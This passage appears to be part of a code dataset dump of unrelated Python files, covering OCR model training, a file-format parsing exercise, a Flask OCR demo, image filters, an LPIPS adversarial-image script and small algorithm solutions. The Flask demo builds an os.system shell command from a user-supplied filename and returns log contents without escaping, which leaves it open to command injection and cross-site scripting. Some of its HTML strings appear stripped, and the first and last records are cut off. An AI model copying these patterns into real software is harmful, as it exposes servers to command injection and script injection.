laia.engine.Trainer(\n model=model,\n criterion=DortmundBCELoss(),\n optimizer=optimizer,\n data_loader=tr_ds_loader,\n batch_input_fn=ImageFeeder(\n device=args.gpu,\n keep_padded_tensors=False,\n parent_feeder=ItemFeeder('img')),\n batch_target_fn=VariableFeeder(\n device=args.gpu,\n parent_feeder=PHOCFeeder(\n syms=syms,\n levels=args.phoc_levels,\n parent_feeder=ItemFeeder('txt'))),\n progress_bar='Train' if args.show_progress_bar else False)\n trainer.iterations_per_update = args.iterations_per_update\n\n trainer.add_hook(EPOCH_END, Evaluate(model, va_ds_loader, args.gpu))\n\n if args.max_epochs and args.max_epochs > 0:\n trainer.add_hook(EPOCH_START,\n Hook(GEqThan(trainer.epochs, args.max_epochs),\n trainer.stop))\n\n if args.continue_epoch:\n trainer._epochs = args.continue_epoch\n\n # Launch training\n trainer.run()\n\n # Save model parameters after training\n torch.save(model.state_dict(), os.path.join(args.train_path, 'model.ckpt'))\n","sub_path":"egs/cvl/src/python/train_phocnet.py","file_name":"train_phocnet.py","file_ext":"py","file_size_in_byte":7254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"444149263","text":"#!/usr/bin/env python2\n\nimport sys\nimport struct\n\n\n# You can use this method to exit on failure conditions.\ndef bork(msg):\n sys.exit(msg)\n\n\n# Some constants. You shouldn't need to change these.\nMAGIC = 0x8BADF00D\nVERSION = 1\n\nif len(sys.argv) < 2:\n sys.exit(\"Usage: python stub.py input_file.fpff\")\n\n# Normally we'd parse a stream to save memory, but the FPFF files in this\n# assignment are relatively small.\nwith open(sys.argv[1], 'rb') as fpff:\n data = fpff.read()\n\n# Hint: struct.unpack will be VERY useful.\n# Hint: you might find it easier to use an index/offset variable than\n# hardcoding ranges like 0:8\nmagic, version = struct.unpack(\"')\ndef show_logs(filename):\n from glob import glob\n fmt = 'static/data/logs/*{}*'.format(filename)\n files = glob(fmt)\n if files:\n data = open(files[0]).read()\n else:\n data = 'please check, no logs found!!'\n return \"\"\"\n
{}
\n \"\"\".format(data)\n\n\ndef show_uploaded_images():\n from glob import glob\n html_data = ''\n for url in glob(UPLOAD_FOLDER + '*.jpg'):\n filename = url.split('/')[-1]\n html_data += '
  • {}
  • '.format(filename, url, filename, filename, filename)\n html_data = \"
      {}
        \".format(html_data)\n from flask import Markup\n return render_template('demo_result.html', html_data=Markup(html_data), data=None)\n\n\n@app.route('/uploads/')\ndef show_uploaded_image_details(filename):\n import config\n from glob import glob\n image_data = \"/{}/{}\".format(UPLOAD_FOLDER, filename)\n bin_data = glob(os.path.join(config.BINARIZE_ROOT_DIR, '*' + filename))\n if bin_data:\n bin_data = bin_data[0]\n else:\n bin_data = ''\n text_data = glob(os.path.join(config.TEXT_IMAGES, filename.rsplit('.', 1)[-2] + '/*'))\n text_data.sort()\n text_data_images = sorted([_ for _ in text_data if '.png' in _],\n key=lambda fn: int(fn.rsplit('/')[-1].split('.')[0]))\n # Tesseract Text\n f_name = os.path.join(config.TEXT_OUT, filename.split('.')[0] + '_TessaractOcrPlugin.txt')\n print(f_name)\n text_data_tesseract = open(f_name).read() if os.path.isfile(f_name) else \"\"\n # Calamari Text\n f_name = os.path.join(config.TEXT_OUT, filename.split('.')[0] + '_CalamariOcrPlugin.txt')\n text_data_calamari = open(f_name).read() if os.path.isfile(f_name) else \"\"\n print(bin_data)\n data = {\n 'image_data': image_data,\n 'binarisation': bin_data,\n 'text2Lines': text_data_images,\n 'tesseract': text_data_tesseract,\n 'calamari': text_data_calamari\n }\n return render_template('demo_result.html', html_data=None, data=data)\n\n\n@app.route('/uploads/')\ndef page_show_uploads():\n return show_uploaded_images()\n\n\ndef run_pipeline(filename=None):\n print('Running East Pipeline')\n import os\n command = 'cd ../.. && make east_ui binarisation crop2box tesseract calmari text2file'\n if filename:\n # https://www.cyberciti.biz/faq/redirecting-stderr-to-stdout/\n command = command + ' >vitaflow/annotate_server/static/data/logs/{}.log &'.format(\n filename)\n print('Running East Pipeline, Logs are at vitaflow/annotate_server/static/data/logs/{}.log &'.format(filename))\n os.system(command)\n\nif __name__ == '__main__':\n app.run(debug=True) # host='172.16.49.198'\n","sub_path":"third_party_apps/annotate_server/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":5079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"623787685","text":"import json\nimport logging\nimport asyncio\nimport pytest\nimport aiohttp\n\nfrom hailtop.config import get_deploy_config\nfrom hailtop.auth import service_auth_headers\nfrom hailtop.httpx import client_session\nimport hailtop.utils as utils\n\nlogging.basicConfig(level=logging.INFO)\nlog = logging.getLogger(__name__)\n\nsha = 'd626f793ad700c45a878d192652a0378818bbd8b'\n\n\n@pytest.mark.asyncio\nasync def test_update_commits():\n deploy_config = get_deploy_config()\n headers = service_auth_headers(deploy_config, 'benchmark')\n commit_benchmark_url = deploy_config.url('benchmark', f'/api/v1alpha/benchmark/commit/{sha}')\n\n async def request(method):\n return await utils.request_retry_transient_errors(\n session, method, f'{commit_benchmark_url}', headers=headers, json={'sha': sha}\n )\n\n async with client_session() as session:\n await request('DELETE')\n\n resp = await request('GET')\n commit = await resp.json()\n assert commit['status'] is None, commit\n\n resp = await request('POST')\n commit = await resp.json()\n\n while commit['status'] is not None and not commit['status']['complete']:\n await asyncio.sleep(5)\n resp = await request('GET')\n commit = await resp.json()\n print(commit['status'])\n","sub_path":"benchmark-service/test/test_update_commits.py","file_name":"test_update_commits.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"253483597","text":"import numpy as np\nimport scipy.signal as sc\nimport matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation\n#--------------------------------------\nfig = plt.figure()\nfig.suptitle('Signal <> DFT < Espectro > IDFT <> Signal y potencia con Numpy', fontsize=16)\nfs = 11\nN = 11\nsignalFrec = 1\n#--------------------------------------\nnData = np.arange(0,N,1) #arranco con numeros enteros para evitar errores de float\ntData = nData/fs\nfData = nData*(fs/((N)-(N)%2))-fs/2\n\n#------------SIGNAL--------------------------\n#signalData = 1*np.cos(2*np.pi*signalFrec*nData*1/fs)\n#signalData = 1*np.sin(2*np.pi*signalFrec*nData*1/fs)+0.4j*np.sin(2*np.pi*signalFrec*nData*1/fs)\n#signalData = 1*np.sin(2*np.pi*signalFrec*nData*1/fs)\nsignalData = 2*sc.square(2*np.pi*signalFrec*nData*1/fs,0.5)\n#signalData = 2*sc.sawtooth(2*np.pi*signalFrec*nData*1/fs,1)\n#signalData = np.array([100 if n == 0 else 0 for n in nData])\n\n\nsignalAxe = fig.add_subplot(2,2,1)\nsignalAxe.set_title(\"Potencia calculada en tiempo: {0:.2f}\".format(np.sum(np.abs(signalData)**2)/N),rotation=0,fontsize=10,va=\"center\")\nsignalRLn, = plt.plot(tData,np.real(signalData),'b-o',linewidth=4,alpha=0.5,label=\"real\")\nsignalILn, = plt.plot(tData,np.imag(signalData),'r-o',linewidth=4,alpha=0.5,label=\"imag\")\nsignalAxe.grid(True)\n#------------FFT IFFT-----------------------\nfftData = np.fft.fft(signalData)\nifftData = np.fft.ifft(fftData)\nfftData = np.fft.fftshift(fftData)\n#-----------FFT---------------------------\nfftAxe = fig.add_subplot(2,1,2)\nfftAxe.set_title(\"Potencia calculada en frec: {0:.2f}\".format(np.sum(np.abs(fftData/N)**2)),rotation=0,fontsize=10,va=\"center\")\nfftAbsLn, = plt.plot(fData,np.abs(fftData/N)**2,'k-X' ,linewidth = 5,alpha = 0.3,label=\"Potencia\")\n#fftRLn, = plt.plot(fData,np.real(fftData), 'b-X' ,linewidth = 4,alpha = 0.5,label=\"real\")\n#fftILn, = plt.plot(fData,np.imag(fftData), 'r-X' ,linewidth = 4,alpha = 0.5,label=\"imag\")\nfftAxe.grid(True)\n#----------IFFT----------------------------\nifftAxe = fig.add_subplot(2,2,2)\nifftAxe.set_title(\"Potencia calculada en ifft: {0:.2f}\".format(np.sum(np.abs(ifftData)**2)/N),rotation=0,fontsize=10,va=\"center\")\npenRLn, = plt.plot(tData,np.real(ifftData),'b-o',linewidth=4,alpha=0.5,label=\"real\")\npenILn = plt.plot(tData,np.imag(ifftData),'r-o',linewidth=4,alpha=0.5,label=\"imag\")\nifftAxe.grid(True)\n#--------------------------------------\nplt.get_current_fig_manager().window.showMaximized()\nplt.show()\n","sub_path":"Programas/work/dft_idft_numpy.py","file_name":"dft_idft_numpy.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"137394445","text":"# -------------------------------------------------------------------------------\n# Name: item_enemies_battle.py\n# Purpose:\n#\n# Author: Edwardauron\n#\n# Created: 26/02/2015\n# Copyright: (c) Edwardauron 2015\n# Licence: \n#-------------------------------------------------------------------------------\n# stores the damage range of weapons, armor, and instead of using a variable\n# for items I will add to the user dictionary for item acquisition\n# Things to do: Spells + Spell Attributes(Side effects, augmentation)\n# possible Alchemy system of item to gold.\nfrom characters import *\n\nWEAPONS = {'stone': (1.0, 2.0), 'none': (0.0, 1.0), 'stick': (1.0, 3.0),\n 'shortsword': (3.0, 5.0), 'broadsword': (4.0, 6.0), 'longsword': (5.0, 7.0),\n 'bow': (7.0, 8.0), 'claymore': 11.0}\n\n# will determine strike time, prob will scale with dexterity chara stats\nATTACK_TIME = {'normal': 1.0, 'slowed': 0.5, 'haste': (1.5, 2.0)}\n\nDEFENSE = {'buckler': 3.0, 'targe': 4.0, 'kiteshield': 6.0}\n\nHEAD = {'cowl': 1.0}\n\nCHEST = {'chestplate': (10.0)}\n\nLEGS = {'greaves': 3.0}\n\nFEET = {'boots': 1.0}\n\nHANDS = {'gloves': 1.0}\n\n\n# You can easily add items to the user and dragon dictionary like so\n# user['weapon'] = 'stone'\n# these values will then be updated for the dictionary called\nuser['weapon'] = 'stick'\n","sub_path":"Dragon_Compendium/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"242861428","text":"from __future__ import absolute_import\n\nimport sys\nimport scipy\nimport scipy.misc\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\nimport models\nimport matplotlib.pyplot as plt\nimport torchvision.transforms as transforms\nfrom PIL import Image\n\n\n\"\"\"\nGiven one image - make two copies (img_a and img_x)\nKeep img_a fixed and max d(img_a, img_x) subject to ||a - x||^2 < EPSILON\n\"\"\"\n\nuse_gpu = True\n\nimg_path = './dataset/2afc/val/cnn/ref/000002.png'\n\ntransform_list = [\n transforms.Scale(64),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5),(0.5, 0.5, 0.5))\n]\ntransform = transforms.Compose(transform_list)\n\nimg_x = Image.open(img_path).convert('RGB')\nimg_x = transform(img_x)\n\nimg_a = Image.open(img_path).convert('RGB')\nimg_a = transform(img_a)\n\nEPSILON = 10.0\nprint(EPSILON)\n\nprint(img_x.shape)\nprint(img_a.shape)\n\nimg_a = Variable(\n torch.FloatTensor(img_a)[None,:,:,:] + \\\n (torch.rand_like(torch.FloatTensor(img_x)[None,:,:,:]) - 0.5) * 1e-6, \n requires_grad=False\n)\nimg_x = Variable(torch.FloatTensor(img_x)[None,:,:,:], requires_grad=True)\nprint(img_x.shape)\nprint(img_a.shape)\n\nprint(\"Initial difference between img_a and img_x = \", torch.sum((img_a - img_x) ** 2))\n\n\nnum_iterations = 50\nloss_fn = models.PerceptualLoss(model='net-lin', net='vgg', use_gpu=use_gpu, version=\"0.1\")\n# optimizer = torch.optim.SGD([img_x], lr=1e-2, momentum=0.9, nesterov=False)\noptimizer = torch.optim.Adam([img_x], lr=1e-2)\n# scheduler = torch.optim.lr_scheduler.MultiStepLR(\n# optimizer,\n# [5000],\n# gamma=0.1\n# )\n\nplt.ion()\n# fig = plt.figure(1)\n# ax = fig.add_subplot(131)\n# ax.imshow(ref_img.transpose(1, 2, 0))\n# ax.set_title('target')\n# ax = fig.add_subplot(133)\n# ax.imshow(pred_img.transpose(1, 2, 0))\n# ax.set_title('initialization')\n\ndef main():\n for i in range(num_iterations):\n dist = -1 * loss_fn.forward(img_x, img_a, normalize=True)\n optimizer.zero_grad()\n dist.backward()\n optimizer.step()\n # scheduler.step()\n img_x.data = tensor_clamp_l2(img_x.data, img_a.data, EPSILON)\n \n if i % 100 == 0 or True:\n print('iter %d, dist %f' % (i, dist.view(-1).data.cpu().numpy()[0]))\n pred_img = img_x[0].data.cpu().numpy().transpose(1, 2, 0)\n pred_img = np.clip(pred_img, 0, 1)\n # ax = fig.add_subplot(132) \n # ax.imshow(pred_img)\n # ax.set_title('iter %d, dist %.3f' % (i, dist.view(-1).data.cpu().numpy()[0]))\n # plt.pause(5e-2)\n plt.imsave('imgs_saved/%04d.jpg'%i,pred_img)\n\n\n# class PGD_l2(nn.Module):\n# def __init__(self, epsilon, num_steps, step_size):\n# super().__init__()\n# self.epsilon = epsilon\n# self.num_steps = num_steps\n# self.step_size = step_size\n\n# def forward(self, bx, loss_function):\n# \"\"\"\n# :param model: the classifier's forward method\n# :param bx: batch of images\n# :param by: true labels\n# :return: perturbed batch of images\n# \"\"\"\n# init_noise = normalize_l2(torch.randn(bx.size()).cuda()) * (np.random.rand() - 0.5) * self.epsilon\n# adv_bx = (bx + init_noise).clamp(-1, 1).requires_grad_()\n\n# for i in range(self.num_steps):\n# dist = -1.0 * loss_function(adv_bx)\n# if i % 100 == 0:\n# print(\"Iteration\", i, \"dist = \", dist)\n# grad = normalize_l2(torch.autograd.grad(loss, adv_bx, only_inputs=True)[0])\n# adv_bx = adv_bx + self.step_size * grad\n# adv_bx = tensor_clamp_l2(adv_bx, bx, self.epsilon).clamp(-1, 1)\n# adv_bx = adv_bx.data.requires_grad_()\n\n# return adv_bx\n\n# def main():\n \n# adversary = PGD_l2(\n# EPSILON,\n# num_steps=10000, \n# step_size=1e-2\n# )\n\n# adversary()\n\n\ndef tensor_clamp_l2(x, center, radius):\n \"\"\"batched clamp of x into l2 ball around center of given radius\"\"\"\n x = x.data\n diff = x - center\n diff_norm = torch.norm(diff.view(diff.size(0), -1), p=2, dim=1)\n project_select = diff_norm > radius\n if project_select.any():\n diff_norm = diff_norm.unsqueeze(-1).unsqueeze(-1).unsqueeze(-1)\n new_x = x\n new_x[project_select] = (center + (diff / diff_norm) * radius)[project_select]\n return new_x\n else:\n return x\n\nmain()","sub_path":"construct_adversarial.py","file_name":"construct_adversarial.py","file_ext":"py","file_size_in_byte":4377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"179513913","text":"\"\"\"\r\nAuthor: Vinh Truong\r\n\r\nWith given heights of blocks as [int], calculates\r\nthe amount of water trapped after raining. For\r\nexample, [0,2,0,1,2] would look like:\r\n\r\n [ ] X X [ ]\r\n__[ ]_X_[ ][ ]\r\n\r\nwhere \"[ ]\" represents a block, and \"X\" represents\r\nthe water that is trapped.\r\n\r\ntrap(height) takes in an array of int, and returns\r\nthe n units of water trapped\r\n\r\nThis has O(n) time complexity\r\n\"\"\"\r\n\r\n\r\ndef trap(height):\r\n \"\"\"\r\n :type height: List[int]\r\n :rtype: int\r\n \"\"\"\r\n total = 0\r\n max = 0\r\n sub = 0\r\n for h in range(1,len(height)):\r\n sub += height[h]\r\n if height[h] >= height[max]:\r\n total += (height[max] * ((h-max)-1))\r\n total -= sub\r\n total += height[h]\r\n sub = 0\r\n max = h\r\n max2 = len(height)-1\r\n sub = 0\r\n for h in range(len(height)-2, max-1, -1):\r\n sub += height[h]\r\n if height[h] >= height[max2]:\r\n total += (height[max2] * ((max2-h)-1))\r\n total -= sub\r\n total += height[h]\r\n sub = 0\r\n max2 = h\r\n return total","sub_path":"Rain.py","file_name":"Rain.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"475375143","text":"\n\n\n\n\n\n\n\nimport picture2\n\n\ndef flip(canvas):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w, h)\n canvas.close()\n for x in range(0, w-1):\n for y in range(0, h-1):\n r = canvas.getPixelRed(x,y)\n g = canvas.getPixelGreen(x,y)\n b = canvas.getPixelBlue(x,y)\n f = w - x - 1\n pic.setPixelRed(f,y,r)\n pic.setPixelGreen(f,y,g)\n pic.setPixelBlue(f,y,b)\n return pic\n\n\ndef mirror(canvas):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w, h)\n for x in range(0, w-1):\n for y in range(0,h-1):\n if x <= w//2:\n r = canvas.getPixelRed(x,y)\n g = canvas.getPixelGreen(x,y)\n b = canvas.getPixelBlue(x,y)\n if x > w//2:\n r = canvas.getPixelRed(w-x,y)\n g = canvas.getPixelGreen(w-x,y)\n b = canvas.getPixelBlue(w-x,y)\n pic.setPixelRed(x,y,r)\n pic.setPixelGreen(x,y,g)\n pic.setPixelBlue(x,y,b)\n return pic\n\n\ndef scroll(canvas,d):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w, h)\n for x in range(0,w-1):\n for y in range(0,h-1):\n r = canvas.getPixelRed(x,y)\n g = canvas.getPixelGreen(x,y)\n b = canvas.getPixelBlue(x,y)\n s = x + d\n if s >= w:\n s = s - w\n pic.setPixelRed(s,y,r)\n pic.setPixelGreen(s,y,g)\n pic.setPixelBlue(s,y,b)\n return pic\n\n\ndef negative(canvas):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w, h)\n for x in range(0,w-1):\n for y in range(0,h-1):\n r = canvas.getPixelRed(x,y)\n g = canvas.getPixelGreen(x,y)\n b = canvas.getPixelBlue(x,y)\n pic.setPixelRed(x,y,255-r)\n pic.setPixelGreen(x,y,255-g)\n pic.setPixelBlue(x,y,255-b)\n return pic\n\n\ndef grayscale(canvas):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w, h)\n for x in range(0,w - 1):\n for y in range(0,h - 1):\n r = canvas.getPixelRed(x,y)\n g = canvas.getPixelGreen(x,y)\n b = canvas.getPixelBlue(x,y)\n p = (r+g+b) / 3\n p = int(p)\n pic.setPixelRed(x,y,p)\n pic.setPixelGreen(x,y,p)\n pic.setPixelBlue(x,y,p)\n return pic\n\n\ndef cycle(canvas):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w,h)\n for x in range(0,w-1):\n for y in range(0,h-1):\n r = canvas.getPixelRed(x,y)\n g = canvas.getPixelGreen(x,y)\n b = canvas.getPixelBlue(x,y)\n pic.setPixelRed(x,y,b)\n pic.setPixelGreen(x,y,r)\n pic.setPixelBlue(x,y,g)\n return pic\n\n\ndef zoom(canvas):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w,h)\n xbegin = w//4\n ybegin = h//4\n xend = w//2\n yend = h//2\n for x in range(0,xend-1):\n for y in range(0,yend-1):\n r = canvas.getPixelRed(x + xbegin,y + ybegin)\n g = canvas.getPixelGreen(x + xbegin, y + ybegin)\n b = canvas.getPixelBlue(x + xbegin,y + ybegin)\n x2 = x*2\n y2 = y*2\n pic.setPixelRed(x2,y2,r)\n pic.setPixelGreen(x2,y2,g)\n pic.setPixelBlue(x2,y2,b)\n pic.setPixelRed(x2+1,y2,r)\n pic.setPixelGreen(x2+1,y2,g)\n pic.setPixelBlue(x2+1,y2,b)\n pic.setPixelRed(x2,y2+1,r)\n pic.setPixelGreen(x2,y2+1,g)\n pic.setPixelBlue(x2,y2+1,b)\n pic.setPixelRed(x2+1,y2+1,r)\n pic.setPixelGreen(x2+1,y2+1,g)\n pic.setPixelBlue(x2+1,y2+1,b)\n return pic\n\n\ndef posterize(canvas):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w,h)\n for x in range(0,w-1):\n for y in range(0,h-1):\n r = canvas.getPixelRed(x,y)\n g = canvas.getPixelGreen(x,y)\n b = canvas.getPixelBlue(x,y)\n pic.setPixelRed(x,y,(r//32)*32)\n pic.setPixelGreen(x,y,(g//32)*32)\n pic.setPixelBlue(x,y,(b//32)*32)\n return pic\n\n\ndef brightness(canvas, d):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w, h)\n for x in range(0,w-1):\n for y in range(0,h-1):\n r = canvas.getPixelRed(x,y)\n g = canvas.getPixelGreen(x,y)\n b = canvas.getPixelBlue(x,y)\n r = r + d\n if r > 255:\n r = 255\n g = g + d\n if g > 255:\n g = 255\n b = b + d\n if b > 255:\n b = 255\n pic.setPixelRed(x,y,r+d)\n pic.setPixelGreen(x,y,g+d)\n pic.setPixelBlue(x,y,b+d)\n return pic\n\n\ndef contrast(canvas):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w,h)\n for x in range(0, w-1):\n for y in range(0,h-1):\n r = newcontrast(canvas.getPixelRed(x,y))\n g = newcontrast(canvas.getPixelGreen(x,y))\n b = newcontrast(canvas.getPixelBlue(x,y))\n pic.setPixelColor(x,y,r,g,b)\n return pic\n \ndef newcontrast(n):\n if n==128:\n return n\n x = n - 128\n x = x*2\n n = n + x\n if n < 0:\n return 0\n if n > 255:\n return 255\n return n\n\n\ndef blur(canvas):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w,h)\n for x in range (0,w-1):\n for y in range(0,h-1):\n r = canvas.getPixelRed(x,y)\n g = canvas.getPixelGreen(x,y)\n b = canvas.getPixelBlue(x,y)\n m = 0\n if x == 0:\n r+= canvas.getPixelRed(x+1,y)\n g+= canvas.getPixelGreen(x+1,y)\n b+= canvas.getPixelBlue(x+1,y)\n m = m + 1\n if y != 0:\n r+= canvas.getPixelRed(x+1,y-1)\n g+= canvas.getPixelGreen(x+1,y-1)\n b+= canvas.getPixelBlue(x+1,y-1)\n m = m + 1\n r+= canvas.getPixelRed(x,y-1)\n g+= canvas.getPixelGreen(x,y-1)\n b+= canvas.getPixelBlue(x,y-1)\n m = m + 1\n if y != h-1:\n r+= canvas.getPixelRed(x+1,y+1)\n g+= canvas.getPixelGreen(x+1,y+1)\n b+= canvas.getPixelBlue(x+1,y+1)\n m = m + 1\n r+= canvas.getPixelRed(x,y+1)\n g+= canvas.getPixelGreen(x,y+1)\n b+= canvas.getPixelBlue(x,y+1)\n m = m + 1\n elif x == w - 1:\n r+= canvas.getPixelRed(x-1,y)\n g+= canvas.getPixelGreen(x-1,y)\n b+= canvas.getPixelBlue(x-1,y)\n m = m + 1\n if y != 0:\n r+= canvas.getPixelRed(x-1,y-1)\n g+= canvas.getPixelGreen(x-1,y-1)\n b+= canvas.getPixelBlue(x-1,y-1)\n m = m + 1\n r+= canvas.getPixelRed(x,y-1)\n g+= canvas.getPixelGreen(x,y-1)\n b+= canvas.getPixelBlue(x,y-1)\n m = m + 1\n if y != h-1:\n r+= canvas.getPixelRed(x-1,y+1)\n g+= canvas.getPixelGreen(x-1,y+1)\n b+= canvas.getPixelBlue(x-1,y+1)\n m = m + 1\n r+= canvas.getPixelRed(x,y+1)\n g+= canvas.getPixelGreen(x,y+1)\n b+= canvas.getPixelBlue(x,y+1)\n m = m + 1\n else:\n r+= canvas.getPixelRed(x+1,y)\n g+= canvas.getPixelGreen(x+1,y)\n b+= canvas.getPixelBlue(x+1,y)\n m = m + 1\n r+= canvas.getPixelRed(x-1,y)\n g+= canvas.getPixelGreen(x-1,y)\n b+= canvas.getPixelBlue(x-1,y)\n m = m + 1\n if y != 0:\n r+= canvas.getPixelRed(x+1,y-1)\n g+= canvas.getPixelGreen(x+1,y-1)\n b+= canvas.getPixelBlue(x+1,y-1)\n m = m + 1\n r+= canvas.getPixelRed(x,y-1)\n g+= canvas.getPixelGreen(x,y-1)\n b+= canvas.getPixelBlue(x,y-1)\n m = m + 1\n r+= canvas.getPixelRed(x-1,y-1)\n g+= canvas.getPixelGreen(x-1,y-1)\n b+= canvas.getPixelBlue(x-1,y-1)\n m = m + 1\n if y != h-1:\n r+= canvas.getPixelRed(x+1,y+1)\n g+= canvas.getPixelGreen(x+1,y+1)\n b+= canvas.getPixelBlue(x+1,y+1)\n m = m + 1\n r+= canvas.getPixelRed(x,y+1)\n g+= canvas.getPixelGreen(x,y+1)\n b+= canvas.getPixelBlue(x,y+1)\n m = m + 1\n r+= canvas.getPixelRed(x-1,y+1)\n g+= canvas.getPixelGreen(x-1,y+1)\n b+= canvas.getPixelBlue(x-1,y+1)\n m = m + 1\n pic.setPixelColor(x,y,r/m,g/m,b/m)\n \n return pic\n\n\ndef rotate(canvas):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w,h)\n for x in range (0,w-1):\n for y in range(0,h-1):\n r = canvas.getPixelRed(w-x-1, h-y-1)\n g = canvas.getPixelGreen(w-x-1, h-y-1)\n b = canvas.getPixelBlue(w-x-1, h-y-1)\n pic.setPixelColor(x,y,r,g,b)\n return pic\n\n\ndef awesomeness(canvas):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w,h)\n for x in range(0,w-1):\n for y in range(0,h-1):\n r = canvas.getPixelRed(x,y)\n g = canvas.getPixelGreen(x,y)\n b = canvas.getPixelBlue(x,y)\n pic.setPixelRed(x,y,(b//32)*32)\n pic.setPixelGreen(x,y,(r//32)*32)\n pic.setPixelBlue(x,y,(g//32)*32)\n return pic\n\n\ndef look(canvas):\n w = canvas.getWidth()\n h = canvas.getHeight()\n pic = picture2.Picture(w,h)\n for x in range(0, w-1):\n for y in range(0, h-1):\n r = canvas.getPixelRed(x,y)\n g = canvas.getPixelGreen(x,y)\n b = canvas.getPixelBlue(x,y)\n pic.setPixelColor(x,y,r,g,b)\n return pic\n \n \ndef main():\n canvas = picture2.Picture(\"crayons.bmp\")\n raw_input(\"You will be given a list of ideas to chose from. Please pick the one you wish to have done to a crayon image.\")\n raw_input(\"\")\n try: \n n = eval(raw_input(\"For Flip Horizontally press 1, for Mirror Horizontally press 2, for Scroll Horizontally press 3, for Make Negative press 4, for make grayscale press 5. for cycle color channels press 6, for zoom press 7, for posterize press 8, for change brightness press 9, for increase contrast press 10, for blur press 11, for rotate 180 degrees press 12, for an awesome manipulation press 13, for multiple pictures of crayons press 14: \")) \n if n == 1:\n canvas = flip(canvas)\n canvas.display()\n input()\n elif n == 2:\n canvas = mirror(canvas)\n canvas.display()\n input()\n elif n == 3:\n d = eval(raw_input(\"How far? \"))\n canvas = scroll(canvas, d)\n canvas.display()\n input()\n elif n == 4:\n canvas = negative(canvas)\n canvas.display()\n input()\n elif n == 5:\n canvas = grayscale(canvas)\n canvas.display()\n input()\n elif n == 6:\n canvas = cycle(canvas)\n canvas.display()\n input()\n elif n == 7:\n canvas = zoom(canvas)\n canvas.display()\n input()\n elif n ==8:\n canvas = posterize(canvas)\n canvas.display()\n input()\n elif n == 9:\n d = eval(raw_input(\"By how much would like the brightness to change; this value may be positive or negative.\"))\n canvas = brightness(canvas, d)\n canvas.display()\n input()\n elif n == 10:\n canvas = contrast(canvas)\n canvas.display()\n input()\n elif n == 11:\n canvas = blur(canvas)\n canvas.display()\n input()\n elif n == 12:\n canvas = rotate(canvas)\n canvas.display()\n input()\n elif n == 13:\n canvas = awesomeness(canvas)\n canvas.display()\n input()\n elif n == 14:\n raw_input(\"Look more crayons!\")\n raw_input(\"Drag the first two images to the left and right respectively and see the surprise.\")\n canvas = look(canvas)\n canvas.display()\n canvas2 = look(canvas)\n canvas2.display()\n canvas3 = look(canvas)\n canvas3.display()\n input()\n elif n > 14:\n raw_input(\"We do not have a manipulation for that, sorry.\")\n except SyntaxError:\n raw_input(\"You may have an error somewhere in the program\")\n \n\n \nmain()","sub_path":"testFiles/imageEdit/imageEdit44.py","file_name":"imageEdit44.py","file_ext":"py","file_size_in_byte":13409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"339461986","text":"\"\"\"\n394. Decode String\n\n\nGiven an encoded string, return it's decoded string.\n\nThe encoding rule is: k[encoded_string], where the encoded_string inside the square brackets is being repeated exactly k times. Note that k is guaranteed to be a positive integer.\n\nYou may assume that the input string is always valid; No extra white spaces, square brackets are well-formed, etc.\n\nFurthermore, you may assume that the original data does not contain any digits and that digits are only for those repeat numbers, k. For example, there won't be input like 3a or 2[4].\n\nExamples:\n\ns = \"3[a]2[bc]\", return \"aaabcbc\".\ns = \"3[a2[c]]\", return \"accaccacc\".\ns = \"2[abc]3[cd]ef\", return \"abcabccdcdcdef\".\n\n\n\"\"\"\n\n# stack: iteration\n# time complexity O(n)\n\n\nclass Solution:\n def decodeString(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n stack = []\n letters = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n for ch in s:\n if not stack:\n if \"0\" < ch < \"9\":\n stack.append(int(ch))\n else:\n stack.append(ch)\n continue\n if \"0\" <= ch <= \"9\":\n if isinstance(stack[-1], int):\n stack[-1] = stack[-1] * 10 + int(ch)\n else:\n stack.append(int(ch))\n elif ch in letters:\n if isinstance(stack[-1], str) and stack[-1] != \"[\":\n stack[-1] += ch\n else:\n stack.append(ch)\n elif ch == \"[\":\n stack.append(ch)\n else:\n encoded = stack.pop()\n top = stack.pop()\n while top != \"[\":\n encoded = top + encoded\n top = stack.pop()\n num = stack.pop()\n stack.append(encoded * num)\n return \"\".join(stack)\n\n\n# recursive\n\n'''\nintuition\n\nEvery time we meet a '[', we treat it as a subproblem so call our recursive function to get the content in that '[' and ']'. After that, repeat that content 